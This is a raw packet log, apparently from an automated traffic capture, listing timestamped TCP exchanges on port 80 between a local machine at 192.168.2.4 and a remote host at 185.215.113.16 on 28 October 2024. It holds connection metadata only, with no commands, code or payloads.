Oct 28, 2024 23:47:23.984730959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984764099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984797001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984833002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984913111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984913111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984913111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.985183954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985215902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985268116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985294104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.985301971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985321999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.985337019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985369921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985404968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985440016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985443115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.985474110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985482931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.985508919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.985543013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021284103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021303892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021327972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021353006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021397114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021399021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021411896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021424055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021426916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021445036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021460056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021476030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021532059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021532059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021532059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021616936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021634102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021648884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021694899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021716118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021720886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021737099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021750927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021785021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.021969080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.021984100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.022000074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.022026062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.022064924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.032802105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.032860994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.032876015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.032892942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.032908916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.032934904 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.032979012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033479929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033494949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033509970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033607960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033618927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033618927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033622980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033663988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033674002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033679962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033695936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033710957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033740997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033777952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.033875942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033889055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033905029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033962011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033977032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.033993006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034015894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034015894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034040928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034111977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034162998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034178019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034287930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034293890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034310102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034331083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034347057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034384012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034394979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034460068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034475088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034491062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034595966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034615040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034621954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034621954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034672976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034744024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034759998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034775972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034790039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034874916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034874916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.034878016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034931898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034945965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034960985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.034996986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035031080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035046101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035056114 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035063028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035077095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035101891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035165071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035291910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035306931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035341024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035356045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035371065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035372972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035410881 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.035500050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035522938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.035765886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.038476944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038492918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038516045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038532019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038548946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038563967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038569927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.038579941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.038582087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038598061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.038614988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.038641930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.075493097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.075596094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.075639009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.075721025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.075721025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.077636957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077692032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077747107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077759027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.077780962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077817917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077847004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077882051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077903032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.077903032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.077919006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.077955008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.078052998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.103065014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103147030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103183985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103214025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.103245974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103298903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103334904 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.103370905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103405952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103439093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103473902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103554964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103589058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103621960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103674889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103708982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103741884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103781939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103837013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103867054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103899956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103934050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.103966951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104000092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104001999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104037046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104046106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104072094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104104042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104137897 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104149103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104177952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104182005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104216099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104249954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.104293108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.104341984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.140656948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140719891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140738964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140755892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140773058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140789986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140806913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140822887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140840054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.140858889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141096115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.141119003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141170979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141206980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141241074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141275883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141283989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.141325951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141335011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.141360998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.141380072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.141397953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.143054008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.151909113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152044058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152086020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152120113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152129889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152159929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152192116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152193069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152344942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152400017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152434111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152442932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152451992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152645111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152695894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152730942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152776957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152798891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152827024 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152832985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152868986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152904034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152936935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.152942896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152960062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.152973890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153008938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153043985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153084993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153105974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153105974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153135061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153168917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153198957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153232098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153240919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153265953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153275013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153336048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153402090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153419971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153435946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153470039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153481960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153521061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153573036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153613091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153620005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153656960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153669119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153719902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153753042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153785944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153820992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153842926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153871059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153881073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153904915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153938055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.153954983 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.153971910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154006958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154057026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154092073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154143095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154191971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154191971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154194117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154232979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154267073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154284954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154304981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154320002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154356003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154387951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154422045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154428959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154453993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154490948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154516935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154516935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154525042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154560089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154592037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154618025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154623985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154649973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154656887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154691935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154726982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.154802084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.154802084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.194232941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.194267035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.194299936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.194344044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.194355011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.194411993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.196651936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196686029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196743011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196775913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196811914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196825981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.196845055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196878910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196899891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.196913958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.196974039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.196974039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.221900940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.221956968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.221992016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222060919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.222069979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.222115993 CET	80	49740	185.215.113.16	192.168.2.4
